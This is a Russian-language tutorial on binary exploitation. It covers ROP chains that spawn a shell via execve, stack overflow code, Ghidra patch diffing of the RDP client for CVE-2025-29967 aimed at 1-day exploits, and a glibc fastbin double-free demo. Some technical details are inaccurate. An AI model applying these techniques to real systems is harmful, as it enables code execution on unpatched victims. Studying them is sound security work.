Привет, дорогие друзья
Данная статья посвящена теме бинарных уязвимостей, описывает некоторые базовые понятия, а так-же различные техники эксплуатации и поиск таких уязвимостей.
Приятного чтения!
О переполнении буфераСтек (c английского: stack, в контексте нашей статьи) - это структура, которая хранит различные данные, будь то значения регистров, адреса возврата и прочее.
Подчиняется эта структура правилу LIFO (Last In First Out), что дословно переводится как "Последний зашёл - первым выйдет", пример:
1. Мы засунули в стек число 0xA (первый зашёл)
2. Затем мы поместили туда число 0xF (последний зашёл)
После чего мы обратились к стеку, чтобы вытащить оттуда значение, и получили 0xF (последний зашёл => первым вышел).
По своей механике стек можно сравнить со стопкой из тарелок:
- Одной рукой мы не можем взять тарелку из середины или снизу, потому что удобнее всего будет взять верхнюю тарелку.
Регистр ESP хранит адрес вершины стека.
Регистр EBP хранит базовый адрес текущего кадра стека (то есть точку, по отрицательному или положительному смещению от которой мы попадаем на локальные переменные, адреса возврата, аргументы функций и тд).
Наглядная демонстрация (адрес => значение):
// выше всех идут локальные переменные, это следует запомнить
[ESP] или [EBP-0x8] => 0xF < последнее число в стеке
[ESP+0x4] или [EBP-0x4] => 0xA <- первое число в стеке
[ESP+0x8] или [EBP] => SAVED EBP <- базовый адрес текущего кадра стека
[ESP+0x12] или [EBP+0x4] => RETURN <- адрес возврата
// тут аргументы функции (если бы они были) - ARG 1, ARG 2
// допустим [EBP+0x8] хранит число 0x100 - это первый аргумент функции, то есть ARG 1
То есть, данные помещаются в стек как-бы сверху вниз (из-за адресации, от меньшего адреса к большему):
Регистры - это участки памяти непосредственно на самом процессоре, которые могут хранить 8, 16, 32, и 64 битные числа.
Небольшая оговорка.
В архитектуре x86 основными являются 32 битные регистры, EAX, EBX, ECX, EDX, ESP, EBP и тд.
В архитектуре x64 помимо упомянутых, так-же существуют 64 битные регистры (здесь основными будут уже они), их отличие в том, что называются они RAX, RBX, RCX (по аналогии с 32 битными, только первая буква R) и хранят по 64 бита каждый.
Следующие регистры в архитектуре х64 будут взаимосвязаны:
EAX <-> RAX
EBX <-> RBX
ECX <-> RCX
При изменении значения регистра EAX, будут изменены 32 бита (половина) значения регистра RAX:
Опкоды - это инструкции для процессора, благодаря которым он понимает, какую операцию необходимо совершить - то есть числа.
Процессор буквально работает с байтами (машинным кодом), поэтому для удобства были придуманы инструкции - мнемонические слова, сопоставляемые с опкодами.
пример:
инструкция nop означает "ничего не делать", её опкод 0x90.
инструкция add берёт первый операнд, и прибавляет к нему второй операнд, пример: add eax, 15.
инструкция pop берёт значение из стека, и помещает в указанный регистр, пример: pop eax.
инструкция push помещает значение указанного регистра в стек, пример: push eax.
инструкция ret выполняет переход на адрес возврата.Соглашение о вызове - это способ передачи параметров в функцию.
Простая функция в ассемблере выглядит примерно так:
pop eax
add eax, 10
push eax
ret
Для того, чтобы вызвать эту функцию, необходимо чтобы в стеке лежал один параметр.
Пройдёмся по инструкциям:
- инструкция pop eax поместит значение со стека в регистр eax.
- инструкция add eax, 10 увеличит значение в регистре eax на 10.
- инструкция push eax запишет значение регистра eax в стек.
- инструкция ret совершит переход на адрес возврата, т.е туда, откуда была вызвана эта функция (на следующую после вызова инструкцию).
Таким образом, если мы передадим в стек число 20, после выполнения функции в стеке будет лежать число 30.
Описанный мною способ передачи параметров через стек называется cdecl (происходит от c-declaration), это одно из соглашений о вызове.
thiscall (справедлив для C++) - подразумевает, что первый аргумент функции это указатель на текущий экземпляр (объект) класса, пример:
void animal::print_age() {
std::cout << this->age << std::endl;
}
cpp
void animal::print_age() {
std::cout << this->age << std::endl;
}
на самом деле ООП не существует, и под капотом вы увидите обычные функции без классов, нечто вроде:
в данном случае this это простая числовая переменная, которая хранит адрес объекта класса animal, то есть начало данной структуры.
void $animal@print_age$26278(uintptr_t this) {
// где 0x10 - это offsetof(animal, name), то есть смещение от начала объекта (структура animal) до адреса, с которого начинается определенное поле, в нашем случае name
std::cout << *(uint32_t*)(this+0x10) << std::endl;
}
cpp
void $animal@print_age$26278(uintptr_t this) {
// где 0x10 - это offsetof(animal, name), то есть смещение от начала объекта (структура animal) до адреса, с которого начинается определенное поле, в нашем случае name
std::cout << *(uint32_t*)(this+0x10) << std::endl;
}
если сместиться на 0x10, мы получим адрес поля age.Глобальная таблица смещений (Global Offset Table) - это секция (область памяти) внутри программы, которая хранит адреса динамически прилинкованных функций.
Динамическая линковка нужна для экономии места и избежания дублирования кода внутри программы (по сравнению со статической линковкой).Сложная для многих тема, но постараюсь объяснить простым языком.
Каждая переменная занимает место в памяти:
char - 1 байт // хранит значение от -127 до 128, либо от 0 до 255, если unsigned (беззнаковое число, отсчёт начинается с нуля)
short - 2 байта // от -32768 до 32767 (возможно любители игры Minecraft узнали это число), либо от 0 до 65535, если unsigned
int, long, float - 4 байта // от -2.147.483.648 до 2.147.483.647
size_t - 4 или 8 байт (зависит от разрядности системы)
long long, long float, double - 8 байт // для очень больших чисел
Создание переменных в C++ выглядит так:
Так-же у каждой переменной есть свой адрес - это место в памяти, где она находится.
int x = 14; // целое число x со значением 14
float PI = 3.14f; // дробное число PI со значением 3.14
cpp
int x = 14; // целое число x со значением 14
float PI = 3.14f; // дробное число PI со значением 3.14
Обратиться к адресу любой переменной можно при помощи оператора &, то есть:
std::cout << &x << std::endl; // в консоль будет выведен адрес переменной x.
А создание указателей в C++ выглядит следующим образом:
Стоит заметить, что раз указатель хранит адрес, он является таким-же целым числом, и следовательно - занимает какое-то место в памяти (адреса не могут храниться в воздухе).
int* x_ptr = &x; // указатель x_ptr указывает на тип данных int (4 байта в памяти), и хранит адрес переменной x.
cpp
int* x_ptr = &x; // указатель x_ptr указывает на тип данных int (4 байта в памяти), и хранит адрес переменной x.
Для этого существуют типы данных size_t, uintptr_t, intptr_t и тд.
На 32 битных системах указатели занимают 4 байта (потому что максимальное кол-во ОЗУ - 8 гбайт, и банально не нужно много места, чтобы записать число - адрес в памяти, т.к она сильно ограничена):
sizeof(void*), sizeof(int*) и sizeof(size_t) будет равно sizeof(uintptr_t) и тд, все они будут равны 4 байтам.
На 64 битных системах указатели занимают по 8 байт соответственно (ибо лимит по памяти там гораздо больше, и чтобы обратиться к "далёкой" ячейке, например если у вас 64 гбайт ОЗУ, мы просто не сможем уместить число в 4 байта, банально не хватит размера указателя):
sizeof(void*), sizeof(int*), sizeof(size_t) и ему подобных типов данных будет равно 8 байтамАрифметика указателей это особые операции, которые можно производить с указателями.
p.s Указатели - численные типы данных, значение которых - какой-то адрес, если по адресу 0x100 лежит переменная int x = 15, то указатель int* y = (int*)0x100 (или int* y = &x) будет указывать на x, следовательно обращаясь к указателю оператором разыменования (*) мы получим значение переменной x, то есть: *y == x (будет true).
Во первых, указатели можно складывать друг с другом.
Во вторых, к указателям можно применять операторы --, ++, складывать с ними другие числа (отнимать, прибавлять единицу).
пример:
Если мы имеем дело с динамическим массивом (а это тоже указатель), мы можем использовать сложение словно индекс элемента в массиве:
int len = 6;
int* arr = malloc(sizeof(int) * len);
// проходимся по элементам
for (int i = 0; i < len; i++) {
//arr + 0 (подобно просто arr) указывает на первый элемент массива
// arr + 1 - на второй элемент массива
// и так далее (пусть 0, 1 и тд будет индексом).
// для более глубокого понимания, вот так выглядит альтернативная запис (мы как бы сдвигаемся на "индекс умножить на размер элемента"):
// *(arr + X) => *(int*)((size_t)arr + 1 * sizeof(arr[0]))
// что в целом будет работать примерно одинаково, и даст такой же результат.
// вывод текущего элемента в консоль
std::cout << *(arr + i) << std::endl;
}
cpp
int len = 6;
int* arr = malloc(sizeof(int) * len);
// проходимся по элементам
for (int i = 0; i < len; i++) {
//arr + 0 (подобно просто arr) указывает на первый элемент массива
// arr + 1 - на второй элемент массива
// и так далее (пусть 0, 1 и тд будет индексом).
// для более глубокого понимания, вот так выглядит альтернативная запис (мы как бы сдвигаемся на "индекс умножить на размер элемента"):
// *(arr + X) => *(int*)((size_t)arr + 1 * sizeof(arr[0]))
// что в целом будет работать примерно одинаково, и даст такой же результат.
// вывод текущего элемента в консоль
std::cout << *(arr + i) << std::endl;
}Fastbin - это стратегия управления памятью в glibc malloc (вид чанков), обычно используемая для того, чтобы выделять небольшие области в памяти, чаще всего размером от 16 до 128 байт.
Использование fastbin в целом положительно влияет на производительность программы из-за оптимизаций, но при этом допускает атаки, которые можно провернуть с ним (подробнее об этом будет ниже).
Largebin - это стратегия управления памятью в glibc malloc (вид чанков), соответственно используемая для больших (large) чанков, которые по размеру превышают 512 кбайт.
ROP - Return Oriented Programming - возвратно ориентированное программирование, это одна из техник, позволяющая выполнять код путём перезаписи адреса возврата на стеке.
ROP цепочка состоит из ROP гаджетов.
ROP гаджеты состоят из набора опкодов, которые завершаются опкодом 0xC3 (инструкция ret).
Картинка из интернета.
На ней изображён ROP гаджет, находящийся по адресу 0x000ED7CB, который помещает значение регистра EBX в регистр EAX, затем значение из стека помещается в регистр EBX, после чего следующее значение из стека помещается в регистр ESI.
При написании эксплоитов стоит учитывать инструкции POP, после адреса возврата в стеке должен быть любой мусор, которым мы забьём эти регистры.
В противном случае, в регистры попадут адреса ROP гаджетов, и наша ROP цепочка отработает не так, как планировалось.
Различные ROP гаджеты и их сочетание позволяют делать самые разные вещи, начиная от установки конкретных значений в регистры (через mov и константу, или через push и стек), заканчивая вызовом любых функций.
Допустим, где-то в недрах уязвимого приложения мы нашли функцию, которая заканчивается так:
// пусть инструкция mov будет расположена по адресу 0x100
mov eax, 1h
xor ecx, ecx
ret
asm
// пусть инструкция mov будет расположена по адресу 0x100
mov eax, 1h
xor ecx, ecx
ret
0x100 - это адрес ROP гаджета, который поместит в регистр eax единицу, в ecx - ноль (xor сам на себя обнулит значение регистру), и выполнит переход на следующий адрес возврата.
Если мы перезапишем текущий адрес возврата в стеке числом 0x100, то после выполнения уязвимой функции, нас перебросит на указанный адрес - выполнение будет продолжаться, начиная с адреса 0x100.
Далее, в регистр eax будет записано число 1, после чего значение регистра ecx будет обнулено, и мы попадём туда, откуда пришли (как описывал выше), то есть ROP гаджет отработал, выполнение идёт дальше.
Адрес возврата можно перезаписать несколько раз "подряд", в таком случае адреса должны следовать друг за другом.
Пример (как это выглядит в стеке):
0x100 // первый адрес
0x200 // за ним следует второй адрес, сюда мы попадём после выполнения инструкции ret предыдущего ROP гаджета
0x300 // следующие адреса
asm
0x100 // первый адрес
0x200 // за ним следует второй адрес, сюда мы попадём после выполнения инструкции ret предыдущего ROP гаджета
0x300 // следующие адресаРассмотрим несколько техник, которые помогут приблизиться к выполнению кода.ROP гаджеты можно искать руками, а можно использовать специальные утилиты.
Две основные из них (примеры использования):
ropgadget --binary yourApp
ropper --file yourApp
Эти команды выведут огромный список из ROP гаджетов, рекомендую сразу перенаправлять вывод в файл, для упрощения последующей работы с ними.
Я рекомендую использовать обе утилиты вместе, т.к бывали случаи, когда одна из них не могла обнаружить часть гаджетов, которые успешно были найдены другой.
Чтобы записать строки в память, для начала стоит узнать адрес, куда мы можем записать наше значение.
Обнаружив пустую область в программе, записываем её адрес (пусть будет 0x2000 для наглядности), он нам понадобится.
Далее наша задача - найти ROP гаджет, которые позволит контролировать значения некоторых регистров, допустим, 0x12345:
pop ecx // берём со стека значение и записываем в ecx
pop edx // берём со стека значение и записываем в edx
ret
asm
pop ecx // берём со стека значение и записываем в ecx
pop edx // берём со стека значение и записываем в edx
ret
Находим гаджет, который позволит записать данные по указанному нами адресу, пусть это будет, 0x54321:
mov dword ptr [edx], ecx // берёт значение из ecx и записывает по адресу edx)
ret
asm
mov dword ptr [edx], ecx // берёт значение из ecx и записывает по адресу edx)
ret
Допустим, мы хотим записать в память строку "/bin/sh" (привет любителям линукса).
Любую строку можно представить в виде чисел, деля её на строки по 4 символа в каждой:
"/bin" - 4 байта, которые можно представить в виде числа, пусть это будет число XXXX.
"//sh" - здесь я добавил ещё один символ /, чтобы заполнить недостающий четвёртый байт в числе (на путь в строке это никак не повлияет), пусть это будет число YYYY.
Записываем в стек адрес возврата, затем значение для ECX, затем значение для EDX, и следующие адреса из ROP цепочки:
0x12345 // первый гаджет, задаём значения регистрам
XXXX // значение регистра ECX, т.е первая часть строки
0x2000 // значение регистра EDX, т.е адрес
0x54321 // второй гаджет, записываем строку в память
0x12345 // первый гаджет, задаём значения для второй половины строки
YYYY // значение ECX, вторая часть строки
0x2004 // значение EDX, адрес
0x54321 // второй гаджет, дозаписываем вторую часть строки
После выполнения данной ROP цепочки мы увидим в памяти нечто подобное:
0x2000 "/"
0x2001 "b"
0x2002 "i"
0x2003 "n"
0x2004 "/"
0x2005 "/"
0x2006 "s"
0x2007 "h"Вызывать функции мы будем на примере линукса.
В линуксе есть замечательная функция execve, которая идеально подходит для раскручивания нашей уязвимости и последующего выполнения кода.
Плюс этой функции заключается в том, что вызвать её можно через syscall (системный вызов), то есть достаточно просто указать номер функции (для execve это 11) в регистр EAX, затем передать адрес строки ("/bin//sh") в регистр EBX (то есть значение 0x2000, если ориентироваться на прошлый спойлер), после чего заполнить регистры ECX и EDX нулями (это остальные параметры функции. нули - потому что их мы не используем, argv, envp).
Номера функций для системного вызова можно посмотреть в заголовочном файле asm/unistd_32.h, если кому интересно), они представлены в виде макросов.
Подготовив параметры для вызова функции, можно вызвать её.
Делается это при помощи прерывания:
int 80h
После выполнения данной инструкции будет вызвана оболочка bash, чего более чем достаточно для того, чтобы доказать факт наличия уязвимости максимально наглядно (Proof-of-Concept).Поиск и выявление уязвимостей в ПОПереполнение стека (с английского: Stack Overflow) - Явление, при котором процессор записывает данные туда - куда не нужно (по вине разработчика программы), это вызывает неопределённое поведение в программе, что может привести к зависанию, вылету программы или даже к выполнению кода, контролируемого хакером.
Различают две основные разновидности этой уязвимости, от них зависит принцип дальнейшей эксплуатации.
Такая уязвимость возникает, когда мы переполняем стек.
Пример уязвимого кода:
int main(int argc, char* argv[]) {
const char* str = "xxxxxxxx";
char buf[4];
// здесь произойдёт переполнение буфера buf
strcpy(buf, str);
}
cpp
int main(int argc, char* argv[]) {
const char* str = "xxxxxxxx";
char buf[4];
// здесь произойдёт переполнение буфера buf
strcpy(buf, str);
}
Главные задачи при эксплуатации переполнения стека - установить нужное смещение (забить стек и дойти до адреса возврата), найти необходимые для нашего эксплоита ROP гаджеты, составить валидную ROP цепочку и проэксплуатировать уязвимость при помощи составленного пейлоада.Такая уязвимость возникает, когда мы переполняем кучу, т.е область с динамически выделенными данными, например через malloc.
В целом, эксплуатация чем-то напоминает переполнение на стеке:
- выбраться за пределы буфера;
- перезаписать критичные данные;
- изменить ход работы программы.
Разница лишь в том, что в случае с кучей, эксплуатация переполнения буфера будет куда сложнее, и сильно зависящей от структуры программы, от места где она находится, области видимости, "соседних" динамически выделенных переменных и прочих факторов.
Про эксплуатацию переполнения буфера на стеке написано ближе к концу статьи.
Особенности эксплуатации бинарных уязвимостейPatch diffing - метод сравнения двух бинарных файлов разных версий (до и после исправления уязвимости), используется для изучения того, как именно была исправлена уязвимость, и последующего получения информации о том, где она находилась.
Такой подход позволяет исследовать конкретную часть уязвимой версии ПО, чтобы разработать эксплоит и пытаться "доить" тех, кто по какой-то причине забыл обновить ПО до актуальной версии).
Довольно популярная техника для написания 1day эксплоитов.
Для наглядности я взял уязвимость CVE-2025-29967.
Это уязвимость в протоколе RDP (от Microsoft), подробнее напишу ниже.
Официальный бюллетень Microsoft гласит следующее:
Remote Code Execution - это довольно серьёзный вид уязвимости - Удалённое выполнение кода.
тип уязвимости: CWE-122 Heap-based Buffer overflow
уровень опасности: критический
импакт: Remote Code Execution
bash
тип уязвимости: CWE-122 Heap-based Buffer overflow
уровень опасности: критический
импакт: Remote Code Execution
думаю, название говорит само за себя.
листнём чуть ниже (раздел FAQ), дабы понять, как она эксплуатируется:
How could an attacker exploit this vulnerability?
In the case of a Remote Desktop connection, an attacker with control of a Remote Desktop Server could trigger a remote code execution (RCE) on the RDP client machine when a victim connects to the attackers server with the vulnerable Remote Desktop Client.
понимаем, что уязвима именно клиентская сторона.
простым языком:
уязвимый RDP клиент (компьютер Васи) подключается к вредоносному серверу, что позволяет выполнить код на стороне клиента.
следовательно, для её эксплуатации нам придётся писать скрипт, имитирующий работу RDP сервера.
листаем ещё чуть ниже (раздел Security Updates), и видим следующие уязвимые продукты:
Windows 11 24H2 сборки с версией до 10.0.26100.4061 / 10.0.26100.3981
Windows 1123H2 сборки с версией до 10.0.22631.5335
Windows 10 22H2 сборки с версией до 10.0.19045.5854
Windows 10 21H2 сборки с версией до 10.0.19044.5854
Remote Desktop client for Windows Desktop версии до 1.2.6228.0
и тд.
помимо различных версий Windows, моё внимание привлёк пункт с RDP клиентом:
Remote Desktop client for Windows Desktop версии до 1.2.6228.0.
в колонке Download есть ссылка на обновление безопасности.
открываем её и в пункте Version history and release notes (список версий ПО) видим следующее:
из бюллетеня мы вычитали, что патч с исправленной уязвимостью вышел 13 мая 2025 года и имеет версию 1.2.6228.
следовательно, версия до него (на скриншоте 1.2.6227, вышедшая 22 апреля 2025 года) будет уязвимой.на этой же странице приложена ссылка на версию с патчем (1.2.6228):
https://res.cdn.office.net/remote-desktop-windows-client/ff46c1a3-9b23-4752-a79c-d13a309ca9d3/RemoteDesktop_1.2.6228.0_x64.msi
скачиваем её (ссылка на virustotal)И так, на данный момент мы имеем два MSI файла:Здесь пришлось применить методы OSINT (разведка по открытым источникам).
Обратим внимание на название файла, который мы имеем:
RemoteDesktop_1.2.6228.0_x64.msi
Попробуем поменять версию на другую, теоретически уязвимая версия должна называться так:
RemoteDesktop_1.2.6227.0_x64.msi
Теперь гуглим то что получилось, и получаем следующие результаты:
На нескольких сайтах есть checksum файла (уникальный хеш), идём на virustotal, чтобы узнать побольше информации о нём (подставляем в ссылку на virustotal этот хеш):
https://www.virustotal.com/gui/file/9c8cf57dba0725c594c6ee15cf9670ea507612a3e1036fc584f5eb365d8acf34
Здесь видим, что файл с таким названием действительно существует, а его размер - 32.87 мегабайт, первое сканирование произошло 23 апреля (2025-04-23 19:02:36 UTC), что совпадает с датой релиза данной версии.
Далее, на другом сайте из списка я обнаружил ссылку на скачивание уязвимой версии:
Нас интересует версия x64 (не смотря на то, что 32 битные бинари более просты для анализа).
скачиваем её по прямой ссылке:
https://res.cdn.office.net/remote-d...4fc7729a7ee7/RemoteDesktop_1.2.6227.0_x64.msi
Домен совпадает с тем, откуда мы устанавливали версию 6228, поэтому беспокоиться не о чем, на всякий случай снова прикладываю ссылку на virustotal.
Хеш данного файла совпал с хешом, который был ранее обнаружен выше.
RemoteDesktop_1.2.6228.0_x64.msi - после патча
RemoteDesktop_1.2.6227.0_x64.msi - до патча
MSI - это своего рода архив, который содержит само ПО, определённые ресурсы, значения регистров Windows и тд.
Точное определение из гугла:
MSI-файл представляет собой базу данных, в которой хранятся все необходимые данные для процесса установки, такие как файлы, ярлыки, записи в реестре и т. д.
Для адекватного анализа стоит разобрать его, и вытащить оттуда непосредственно бинарники.
Копируем .msi файлы в общую папку, у меня это:
C:\Users\New\Desktop\CVE-2025-29967
Создаём внутри ещё две папки:
C:\Users\New\Desktop\CVE-2025-29967\1.2.6227
C:\Users\New\Desktop\CVE-2025-29967\1.2.6228
В них мы сохраним результат распаковки .msi файлов (разных версий соответственно).
Манипуляции с MSI файлами позволяет проводить команда msiexec.
Открываем терминал, вводим msiexec --help и получаем помощь по её использованию:
Следующая команда распакует файл path/to/file.msi в папку path/to/folder:Установщик Windows. Версия XXXXX
msiexec /Option <обязательный параметр> [необязательный параметр]
Параметры установки
</package | /i> <Product.msi>
Установка или настройка продукта
/a <Product.msi>
Административная установка - установка продукта в сеть
/j<u|m> <Product.msi> [/t <список преобразований>] [/g <код языка>]
Объявление о продукте: "m" - всем пользователям; "u" - текущему пользователю
</uninstall | /x> <Product.msi | Код_продукта>
Удаление продукта
Параметры отображения
/quiet
Тихий режим, без взаимодействия с пользователем
/passive
Автоматический режим - только указатель хода выполнения
/q[n|b|r|f]
Выбор уровня интерфейса пользователя
n - Без интерфейса
b - Основной интерфейс
r - Сокращенный интерфейс
f - Полный интерфейс (по умолчанию)
/help
Вывод справки по использованию
Параметры перезапуска
/norestart
Не перезапускать после завершения установки
/promptrestart
Запрашивать перезапуск при необходимости
/forcerestart
Всегда перезапускать компьютер после завершения установки
Параметры ведения журнала
/l[i|w|e|a|r|u|c|m|o|p|v|x|+|!|*] <файл_журнала>
i - сообщения о состоянии
w - сообщения об устранимых ошибках
e - все сообщения об ошибках
a - запуски действий
r - записи, специфические для действий
u - запросы пользователя
c - начальные параметры интерфейса пользователя
m - сведения о выходе из-за недостатка памяти или неустранимой ошибки
o - сообщения о недостатке места на диске
p - свойства терминала
v - подробный вывод
x - дополнительные отладочные сведения
+ - добавление в существующий файл журнала
! - сбрасывание каждой строки в журнал
* - заносить в журнал все сведения, кроме параметров "v" и "x"
/log <файл_журнала>
Равнозначен /l* <файл_журнала>
Параметры обновления
/update <Update1.msp>[;Update2.msp]
Применение обновлений
/uninstall <Код_Guid_обновления>[;Update2.msp] /package <Product.msi | код_продукта>
Удаление обновлений продукта
Параметры восстановления
/f[p|e|c|m|s|o|d|a|u|v] <Product.msi | код_продукта>
Восстановление продукта
p - только при отсутствии файла
o - если файл отсутствует или установлена старая версия (по умолчанию)
e - если файл отсутствует или установлена такая же либо старая версия
d - если файл отсутствует или установлена другая версия
c - если файл отсутствует или контрольная сумма не совпадает с подсчитанным значением
a - принудительная переустановка всех файлов
u - все необходимые элементы реестра, специфические для пользователя (по умолчанию)
m - все необходимые элементы реестра, специфические для компьютера (по умолчанию)
s - все существующие ярлыки (по умолчанию)
v - запуск из источника с повторным кэшированием локальных пакетов
Настройка общих свойств
[PROPERTY=PropertyValue]
Обратитесь к пакету SDK установщика Windows за дополнительными
сведениями по использованию командной строки.
Корпорация Майкрософт. Все права защищены.
В некоторых частях программы использованы разработки Independent JPEG Group.
msiexec /a path/to/file.msi /qb TARGETDIR=path/to/folder
Подставим в неё пути к двум бинарям, и выполним полученные команды (ваши пути могут отличаться):
msiexec /a C:\Users\New\Desktop\CVE-2025-29967\RemoteDesktop_1.2.6227.0_x64.msi /qb TARGETDIR=C:\Users\New\Desktop\CVE-2025-29967\1.2.6227
msiexec /a C:\Users\New\Desktop\CVE-2025-29967\RemoteDesktop_1.2.6228.0_x64.msi /qb TARGETDIR=C:\Users\New\Desktop\CVE-2025-29967\1.2.6228
После чего в каждом из путей появится по одному файлу и одной папке:
TARGETDIR/имя_файла.msi - тут наш файл msi
TARGETDIR/Remote Desktop/ - тут вложено очень много файлов
Для анализа полученных файлов я буду использовать дизассемблер ghidra - разработанный Агенством Национальной Безопасности США, этот продукт совершенно точно не содержит никаких бекдоров и заплаток, поэтому его можно смело скачать из их официального репозитория:
https://github.com/NationalSecurityAgency/ghidra
Создаём новый проект и импортируем туда файлы, для начала - msrdc_1.2.6227.exe и msrdc_1.2.6228.exe.
Для анализа разных версий одного и того же файла, в ghidra предусмотрен инструмент Version Tracking.Создать проект - File -> New Project (W)
Импортировать файлы - File -> Import File (I)
Принцип его работы заключается в сессиях, каждая сессия - это разница между двумя файлами (то есть три файла или более - не поддерживается, создавайте несколько отдельных сессий).
Открываем окно Version Tracking.
После чего кликаем на New Session, чтобы создать новую сессию.
Назовём её именем экзешника (msrdc.exe) чтобы проще было ориентироваться по ним, после чего выбираем два файла:
src - версия до фикса (1.2.6227), dest - версия после фикса (1.2.6228).
Кликаем Next, затем кликаем Run Precondition Checks, и снова Next, затем Finish.
На данном этапе ghidra предложит вам проанализировать файлы, если вы ещё этого не делали ранее.
Соглашаемся, после чего открывается два-три окна, и начнётся анализ файлов.
На данном этапе находим окно "Version Tracking: msrdc.exe", после чего кликаем на волшебную палочку, и начнётся волшебство.
В этом же окне можно посмотреть, какие функции были изменены, и что конкретно в них поменялось:
После анализа мы получили список функций, которые ghidra любезно скоррелировала между собой для нас.
Теперь мы должны определить, в какой из этих функций находится переполнение буфера на куче..
Подумаешь, всего лишь 165 тысяч результатов нашлось. Отсеим их!
Score - значение, которое показывает, насколько схожи участки кода, варьируется от -1 (в нашем случае от 0) до единицы, где 1 означает идеальное совпадение (100%).
в поле ввода Score Filter вводим диапазон от 0.99 до 0.999, чтобы исключить несовпавшие ни с чем участки кода (score 0) и неизменённые функции (score 1), а так-же диапазон от 0.001 до 0.99 (к нему мы вернёмся чуть позже).
мы получим 104 совпадения по функциям.
как показывает практика, это самые мизерные совпадения, такие как на скриншоте ниже.
здесь практически не меняется код функции, или её сигнатура, это большая редкость.
их можно смело игнорировать, так-же как и score 0 вместе с 1.
в диапазоне Score от 0 до 0.001 мы получим в районе 3042 совпадений - это участки кода/функции, которые не совпали ни с одной существующей функцией - т.е были добавлены с нуля, или полностью вырезаны. они нас НЕ интересуют.
в диапазоне Score от 1.0 до 1.0 мы получим в районе 161.856 совпадений - это функции, существующие и в прошлой, и в новой версии, которые вообще никак не изменились. они нас так-же НЕ интересуют.
в целом, диапазона от 0.8 до 0.99 (595 совпадений) достаточно, чтобы выделить функции, которые были явно изменены.Во время анализа, мы увидим лишь два значения статуса:
1 - флажок, означающий что всё корректно распознано, и проблем не возникло.
2 - замок, который означает, что где-то гидра дала сбой.
Вот пример, у каких функций может быть замок.
1. Функция A, внутри которой код в духе:
int A(int x) {
if (x == 10) return 5;
return x;
}
2. Функция B, внутри которой код очень похож на A:
int B(int x) {
if (x == 4) return 5;
return x;
}
Не смотря на сходство этих двух функций, они обе есть и в первом, и во втором файле.
Только гидра (во время сигнатурного анализа) может случайно посчитать их за изменения, допустим:
Изменение 1 - в функции A число 10 было изменено на 4 (думает, что B это A)
Изменение 2 - в функции B число 4 было изменено на 10 (думает, что A это B)
Когда как на самом деле, никаких изменений не происходило.
Реальный пример, на который я сам наткнулся:
Для того, чтобы икслючить эти функции, необходимо отфильтровать список по колонке Status.
Далее мы проходимся по совпадением где отображается замок, и сравниваем их.
Если видим подобную картину - смело избавляемся от совпадения, кликая по нему ПКМ и выбирая пункт Remove Match:
Так-же можно смело удалять те совпадения, код в которых похож на вызов библиотечных функций Visual Studio (C++), т.к никакого отношения к логике самого приложения они не имеют:
Итого, после Score фильтра у нас осталось 595 совпадений.Если мы видим, что в прошлой версии ПО есть какие-то проверки (блоки if, или условный прыжок в ассемблере), которые были удалены в новой версии, то скорее всего можно смело удалять такое совпадение.
Потому что heap-buffer overflow - это про отсутствие важной проверки (в нашем случае на длину буфера), а не про её вырезание)
После того, как мы отфильтровали полученные совпадения, можно приступать к чуть более подробному анализу.
Мы руками открываем каждую функцию и смотрим на изменения.
Т.к. переполнение буфера на куче подразумевает собой отсутствие проверки на длину буфера, мы должны сфокусировать своё внимание на тех местах, где этой проверки не было, и где она была добавлена.
UPD:
Позже на личном опыте выяснилось, что стоковые корреляторы ghidra совершенно непригодны для patch diffing анализа, поэтому я рекомендую использовать плагин с открытым исходным кодом PatchDiffCorrelator, который добавляет дополнительные, более точные корреляторы.
Далее, опытным путём отсеивая различные функции, рано или поздно нам удастся выйти на место, где ранее была уязвимость.
Для успешной эксплуатации heap-based buffer overflow на линуксе можно воспользоваться уже известными техниками (эксплуатируется преимущественно glibc):
p.s Чанками для удобства называются области в памяти на куче, куда указывают наши указатели, такое название происходит от структуры malloc_chunk
Чтобы разобраться, как работают некоторые из этих трюков, для начала посмотрим на структуру чанков в куче (glibc heap structure), т.е. на то, как они лежат в памяти:
Любой адрес, который возвращает malloc, по умолчанию указывает на поле fd.
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; // предыдущий размер чанка, если он стал свободен (freed)
INTERNAL_SIZE_T size; // размер текущего чанка в байтах (включая overhead)
// двойная ссылка - используется только в освобождённых чанках
struct malloc_chunk* fd; // forward
struct malloc_chunk* bk; // back
// эти поля используются только для больших чанков
struct malloc_chunk* fd_nextsize;
struct malloc_chunk* bk_nextsize;
};
cpp
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; // предыдущий размер чанка, если он стал свободен (freed)
INTERNAL_SIZE_T size; // размер текущего чанка в байтах (включая overhead)
// двойная ссылка - используется только в освобождённых чанках
struct malloc_chunk* fd; // forward
struct malloc_chunk* bk; // back
// эти поля используются только для больших чанков
struct malloc_chunk* fd_nextsize;
struct malloc_chunk* bk_nextsize;
};
Таким образом:
p2 => *fd (указатель p2 указывает на поле fd)
(p2-1) => size (указатель p2 по отрицательному смещению будет указывать на поле перед fd, то есть на size)
Почему мы отнимаем единицу, а не кол-во байт, которое занимает поле? потому что указатель p2 хранит адрес и под капотом имеет тип size_t / uintptr_t (называйте как угодно), следовательно придерживается арифметики указателей.
Подробнее про указатели и их арифметику вы можете почитать выше (спойлер "Основы").
Эксплуатируем malloc, заставляя его вернуть нам указатель на уже выделенную область в куче при помощи fastbin free list.
// этот код демонстрирует атаку двойного освобождения (double-free) fastbin чанков
// инициализируем 8 fastbin чанков
void* ptrs[8];
for (int i = 0; i < 8; i++) {
ptrs[i] = malloc(8);
}
// аллоцируем 3 буфера аналогичной длины через calloc:
int* a = calloc(1, 8);
int* b = calloc(1, 8);
int* c = calloc(1, 8);
// освобождаем первый из них:
free(a);
// если мы снова освободим первый буфер, это вызовет вылет программы,
// потому что адрес a находится на вершине списка освобождённых чанков (free list)
// поэтому давайте попробуем освободить b:
free(b);
// мы можем освободить fastbin чанк a снова,
// т.к теперь он не находится на вершине списка free list (её изначальное место занял b)
free(a);
// теперь free list выглядит следующим образом:
// [ a (new), b (new), a (old) ]
// направление head => tail
// если мы трижды вызовем аллокацию, мы получим адрес буфера a второй раз:
a = calloc(1, 8);
b = calloc(1, 8);
c = calloc(1, 8);
// третий вызов calloc вернул адрес буфера a
printf("magic: c = %p, a = %p", c, a);
cpp
// этот код демонстрирует атаку двойного освобождения (double-free) fastbin чанков
// инициализируем 8 fastbin чанков
void* ptrs[8];
for (int i = 0; i < 8; i++) {
